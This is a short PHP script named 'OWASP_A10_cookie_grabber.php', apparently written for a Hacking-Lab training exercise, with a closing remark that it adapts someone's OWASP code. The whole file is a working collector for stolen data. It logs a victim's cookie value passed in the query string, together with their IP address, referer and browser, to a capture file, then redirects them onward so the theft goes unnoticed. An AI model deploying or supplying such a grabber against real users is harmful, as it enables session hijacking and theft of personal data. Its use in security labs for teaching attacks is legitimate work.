OWASP_A10_cookie_grabber.php

<?php
  $AValue = $_GET['AValue'];
  date_default_timezone_set('America/Chicago');
  $date = date("Y-m-d h:i:s"); #date("j F, Y, g:i a");
  $referer = $_SERVER['HTTP_REFERER'];
  $userip = $_SERVER['REMOTE_ADDR'];
  $userbrowser = $_SERVER['HTTP_USER_AGENT'];
  $fp = fopen('capture.txt', 'a');
  fwrite($fp, $date.' '.$AValue.' | '.$referer.' | '.$userip.' | '.$userbrowser."\n");
  fclose($fp);
  $url = "https://glocken.hacking-lab.com/12001/url_case4/url4/controller?action=profile&AValue=".$AValue;
  header("Location: ".$url);
?>

I modified Matt's code from my.owasp